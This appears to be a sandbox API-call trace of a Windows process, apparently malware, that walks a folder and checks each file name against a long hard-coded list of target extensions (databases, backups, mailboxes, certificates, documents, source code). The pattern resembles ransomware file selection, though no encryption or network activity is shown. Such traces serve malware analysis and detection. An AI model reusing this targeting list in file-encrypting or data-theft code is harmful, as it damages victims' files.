lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0085.127] lstrlenW (lpString=".jp2") returned 4 [0085.127] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0085.127] lstrlenW (lpString=".jpc") returned 4 [0085.127] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0085.127] lstrlenW (lpString=".jpe") returned 4 [0085.127] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0085.127] lstrlenW (lpString=".jpeg") returned 5 [0085.128] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0085.128] lstrlenW (lpString=".jpf") returned 4 [0085.128] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0085.128] lstrlenW (lpString=".jpg") returned 4 [0085.128] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.128] lstrlenW (lpString=".jpx") returned 4 [0085.128] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0085.128] lstrlenW (lpString=".js") returned 3 [0085.128] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0085.128] lstrlenW (lpString=".jsf") returned 4 [0085.128] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0085.128] lstrlenW (lpString=".json") returned 5 [0085.128] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0085.128] lstrlenW (lpString=".jsp") returned 4 [0085.128] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0085.128] lstrlenW (lpString=".kdc") returned 4 [0085.128] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0085.128] lstrlenW (lpString=".kmz") returned 4 [0085.128] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0085.128] lstrlenW (lpString=".kwm") returned 4 [0085.128] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0085.128] lstrlenW (lpString=".lasso") returned 6 [0085.128] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0085.128] lstrlenW (lpString=".lbi") returned 4 [0085.128] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0085.128] lstrlenW (lpString=".lgf") returned 4 [0085.128] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0085.128] lstrlenW (lpString=".lgp") returned 4 [0085.128] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0085.128] lstrlenW (lpString=".log") returned 4 [0085.128] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0085.128] lstrlenW (lpString=".m1v") returned 4 [0085.129] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0085.129] lstrlenW (lpString=".m4a") returned 4 [0085.129] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0085.129] lstrlenW (lpString=".m4v") returned 4 [0085.129] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0085.129] lstrlenW (lpString=".max") returned 4 [0085.129] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0085.129] lstrlenW (lpString=".md") returned 3 [0085.129] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0085.129] lstrlenW (lpString=".mda") returned 4 [0085.129] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0085.129] lstrlenW (lpString=".mdb") returned 4 [0085.129] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0085.129] lstrlenW (lpString=".mde") returned 4 [0085.129] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0085.129] lstrlenW (lpString=".mdf") returned 4 [0085.129] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0085.129] lstrlenW (lpString=".mdw") returned 4 [0085.129] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0085.129] lstrlenW (lpString=".mef") returned 4 [0085.130] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0085.130] lstrlenW (lpString=".mft") returned 4 [0085.130] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0085.130] lstrlenW (lpString=".mfw") returned 4 [0085.130] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0085.130] lstrlenW (lpString=".mht") returned 4 [0085.130] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0085.130] lstrlenW (lpString=".mhtml") returned 6 [0085.130] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0085.130] lstrlenW (lpString=".mka") returned 4 [0085.130] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0085.130] lstrlenW (lpString=".mkidx") returned 6 [0085.130] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0085.130] lstrlenW (lpString=".mkv") returned 4 [0085.130] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0085.130] lstrlenW (lpString=".mos") returned 4 [0085.130] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0085.130] lstrlenW (lpString=".mov") returned 4 [0085.130] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0085.130] lstrlenW (lpString=".mp3") returned 4 [0085.130] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0085.130] lstrlenW (lpString=".mp4") returned 4 [0085.130] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0085.130] lstrlenW (lpString=".mpeg") returned 5 [0085.130] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0085.130] lstrlenW (lpString=".mpg") returned 4 [0085.130] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0085.130] lstrlenW (lpString=".mpv") returned 4 [0085.130] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0085.130] lstrlenW (lpString=".mrw") returned 4 [0085.130] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0085.130] lstrlenW (lpString=".msg") returned 4 [0085.131] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0085.131] lstrlenW (lpString=".mxl") returned 4 [0085.131] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0085.131] lstrlenW (lpString=".myd") returned 4 [0085.131] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0085.131] lstrlenW (lpString=".myi") returned 4 [0085.131] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0085.131] lstrlenW (lpString=".nef") returned 4 [0085.131] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0085.131] lstrlenW (lpString=".nrw") returned 4 [0085.131] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0085.131] lstrlenW (lpString=".obj") returned 4 [0085.131] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0085.131] lstrlenW (lpString=".odb") returned 4 [0085.131] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0085.131] lstrlenW (lpString=".odc") returned 4 [0085.131] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0085.131] lstrlenW (lpString=".odm") returned 4 [0085.131] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0085.131] lstrlenW (lpString=".odp") returned 4 [0085.131] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0085.131] lstrlenW (lpString=".ods") returned 4 [0085.131] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0085.131] lstrlenW (lpString=".oft") returned 4 [0085.131] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0085.131] lstrlenW (lpString=".one") returned 4 [0085.131] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0085.131] lstrlenW (lpString=".onepkg") returned 7 [0085.131] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0085.131] lstrlenW (lpString=".onetoc2") returned 8 [0085.131] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0085.131] lstrlenW (lpString=".opt") returned 4 [0085.132] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".oqy") returned 4 [0085.132] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".orf") returned 4 [0085.132] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".p12") returned 4 [0085.132] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".p7b") returned 4 [0085.132] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".p7c") returned 4 [0085.132] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".pam") returned 4 [0085.132] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".pbm") returned 4 [0085.132] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".pct") returned 4 [0085.132] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".pcx") returned 4 [0085.132] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".pdd") returned 4 [0085.132] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".pdf") returned 4 [0085.132] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".pdp") returned 4 [0085.132] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".pef") returned 4 [0085.132] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".pem") returned 4 [0085.132] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".pff") returned 4 [0085.132] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0085.132] lstrlenW (lpString=".pfm") returned 4 [0085.133] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0085.133] lstrlenW (lpString=".pfx") returned 4 [0085.133] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0085.133] lstrlenW (lpString=".pgm") returned 4 [0085.133] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0085.133] lstrlenW (lpString=".php") returned 4 [0085.133] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0085.133] lstrlenW (lpString=".php3") returned 5 [0085.133] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0085.133] lstrlenW (lpString=".php4") returned 5 [0085.133] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0085.133] lstrlenW (lpString=".php5") returned 5 [0085.133] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0085.133] lstrlenW (lpString=".phtml") returned 6 [0085.133] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0085.133] lstrlenW (lpString=".pict") returned 5 [0085.133] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0085.133] lstrlenW (lpString=".pl") returned 3 [0085.133] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0085.133] lstrlenW (lpString=".pls") returned 4 [0085.133] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0085.133] lstrlenW (lpString=".pm") returned 3 [0085.133] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0085.133] lstrlenW (lpString=".png") returned 4 [0085.133] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0085.133] lstrlenW (lpString=".pnm") returned 4 [0085.133] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0085.133] lstrlenW (lpString=".pot") returned 4 [0085.133] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0085.133] lstrlenW (lpString=".potm") returned 5 [0085.133] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0085.133] lstrlenW (lpString=".potx") returned 5 [0085.134] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0085.134] lstrlenW (lpString=".ppa") returned 4 [0085.134] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0085.134] lstrlenW (lpString=".ppam") returned 5 [0085.134] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0085.134] lstrlenW (lpString=".ppm") returned 4 [0085.134] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0085.134] lstrlenW (lpString=".pps") returned 4 [0085.134] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0085.134] lstrlenW (lpString=".ppsm") returned 5 [0085.134] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0085.134] lstrlenW (lpString=".ppt") returned 4 [0085.134] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.134] lstrlenW (lpString=".pptm") returned 5 [0085.134] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0085.134] lstrlenW (lpString=".pptx") returned 5 [0085.134] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0085.134] lstrlenW (lpString=".prn") returned 4 [0085.134] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0085.134] lstrlenW (lpString=".ps") returned 3 [0085.134] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0085.134] lstrlenW (lpString=".psb") returned 4 [0085.134] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0085.134] lstrlenW (lpString=".psd") returned 4 [0085.134] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0085.134] lstrlenW (lpString=".pst") returned 4 [0085.134] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0085.134] lstrlenW (lpString=".ptx") returned 4 [0085.134] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0085.134] lstrlenW (lpString=".pub") returned 4 [0085.134] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0085.134] lstrlenW (lpString=".pwm") returned 4 [0085.134] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0085.135] lstrlenW (lpString=".pxr") returned 4 [0085.135] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0085.135] lstrlenW (lpString=".py") returned 3 [0085.135] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0085.135] lstrlenW (lpString=".qt") returned 3 [0085.135] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0085.135] lstrlenW (lpString=".r3d") returned 4 [0085.135] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0085.135] lstrlenW (lpString=".raf") returned 4 [0085.135] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0085.135] lstrlenW (lpString=".rar") returned 4 [0085.135] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.135] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0085.135] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0085.135] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0085.136] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0085.136] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0085.136] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0085.136] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0085.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053") returned 26 [0085.136] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0085.137] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.137] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0085.137] lstrlenW (lpString="eula.rtf") returned 8 [0085.137] lstrlenW (lpString=".1cd") returned 4 [0085.137] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.137] lstrlenW (lpString=".3ds") returned 4 [0085.137] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0085.137] lstrlenW (lpString=".3fr") returned 4 [0085.137] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0085.137] lstrlenW (lpString=".3g2") returned 4 [0085.137] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0085.138] lstrlenW (lpString=".3gp") returned 4 [0085.138] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0085.138] lstrlenW (lpString=".7z") returned 3 [0085.138] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.138] lstrlenW (lpString=".accda") returned 6 [0085.138] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0085.138] lstrlenW (lpString=".accdb") returned 6 [0085.138] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0085.138] lstrlenW (lpString=".accdc") returned 6 [0085.138] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0085.138] lstrlenW (lpString=".accde") returned 6 [0085.138] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0085.138] lstrlenW (lpString=".accdt") returned 6 [0085.138] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0085.138] lstrlenW (lpString=".accdw") returned 6 [0085.138] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0085.138] lstrlenW (lpString=".adb") returned 4 [0085.138] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0085.138] lstrlenW (lpString=".adp") returned 4 [0085.138] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0085.138] lstrlenW (lpString=".ai") returned 3 [0085.138] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0085.138] lstrlenW (lpString=".ai3") returned 4 [0085.138] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0085.138] lstrlenW (lpString=".ai4") returned 4 [0085.138] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0085.138] lstrlenW (lpString=".ai5") returned 4 [0085.138] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0085.138] lstrlenW (lpString=".ai6") returned 4 [0085.138] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0085.138] lstrlenW (lpString=".ai7") returned 4 [0085.139] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0085.139] lstrlenW (lpString=".ai8") returned 4 [0085.139] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0085.139] lstrlenW (lpString=".anim") returned 5 [0085.139] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0085.139] lstrlenW (lpString=".arw") returned 4 [0085.139] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0085.139] lstrlenW (lpString=".as") returned 3 [0085.139] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0085.139] lstrlenW (lpString=".asa") returned 4 [0085.139] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0085.139] lstrlenW (lpString=".asc") returned 4 [0085.139] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0085.139] lstrlenW (lpString=".ascx") returned 5 [0085.139] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0085.139] lstrlenW (lpString=".asm") returned 4 [0085.139] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0085.139] lstrlenW (lpString=".asmx") returned 5 [0085.139] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0085.139] lstrlenW (lpString=".asp") returned 4 [0085.139] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0085.139] lstrlenW (lpString=".aspx") returned 5 [0085.139] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0085.139] lstrlenW (lpString=".asr") returned 4 [0085.139] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0085.139] lstrlenW (lpString=".asx") returned 4 [0085.139] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0085.139] lstrlenW (lpString=".avi") returned 4 [0085.139] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0085.139] lstrlenW (lpString=".avs") returned 4 [0085.139] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0085.139] lstrlenW (lpString=".backup") returned 7 [0085.140] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0085.140] lstrlenW (lpString=".bak") returned 4 [0085.140] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0085.140] lstrlenW (lpString=".bay") returned 4 [0085.140] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0085.140] lstrlenW (lpString=".bd") returned 3 [0085.140] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0085.140] lstrlenW (lpString=".bin") returned 4 [0085.140] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0085.140] lstrlenW (lpString=".bmp") returned 4 [0085.140] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0085.140] lstrlenW (lpString=".bz2") returned 4 [0085.140] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.140] lstrlenW (lpString=".c") returned 2 [0085.140] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0085.140] lstrlenW (lpString=".cdr") returned 4 [0085.140] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0085.140] lstrlenW (lpString=".cer") returned 4 [0085.140] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0085.140] lstrlenW (lpString=".cf") returned 3 [0085.140] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0085.140] lstrlenW (lpString=".cfc") returned 4 [0085.140] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0085.140] lstrlenW (lpString=".cfm") returned 4 [0085.140] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0085.140] lstrlenW (lpString=".cfml") returned 5 [0085.140] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0085.140] lstrlenW (lpString=".cfu") returned 4 [0085.140] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0085.140] lstrlenW (lpString=".chm") returned 4 [0085.141] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0085.141] lstrlenW (lpString=".cin") returned 4 [0085.141] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0085.141] lstrlenW (lpString=".class") returned 6 [0085.141] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0085.141] lstrlenW (lpString=".clx") returned 4 [0085.141] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0085.141] lstrlenW (lpString=".config") returned 7 [0085.141] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0085.141] lstrlenW (lpString=".cpp") returned 4 [0085.141] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0085.141] lstrlenW (lpString=".cr2") returned 4 [0085.141] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0085.141] lstrlenW (lpString=".crt") returned 4 [0085.141] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0085.141] lstrlenW (lpString=".crw") returned 4 [0085.141] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0085.141] lstrlenW (lpString=".cs") returned 3 [0085.141] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0085.141] lstrlenW (lpString=".css") returned 4 [0085.141] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0085.141] lstrlenW (lpString=".csv") returned 4 [0085.141] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0085.141] lstrlenW (lpString=".cub") returned 4 [0085.141] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0085.141] lstrlenW (lpString=".dae") returned 4 [0085.141] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0085.141] lstrlenW (lpString=".dat") returned 4 [0085.141] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0085.141] lstrlenW (lpString=".db") returned 3 [0085.142] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0085.142] lstrlenW (lpString=".dbf") returned 4 [0085.142] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.142] lstrlenW (lpString=".dbx") returned 4 [0085.142] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0085.142] lstrlenW (lpString=".dc3") returned 4 [0085.142] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0085.142] lstrlenW (lpString=".dcm") returned 4 [0085.142] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0085.142] lstrlenW (lpString=".dcr") returned 4 [0085.142] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0085.142] lstrlenW (lpString=".der") returned 4 [0085.142] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0085.142] lstrlenW (lpString=".dib") returned 4 [0085.142] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 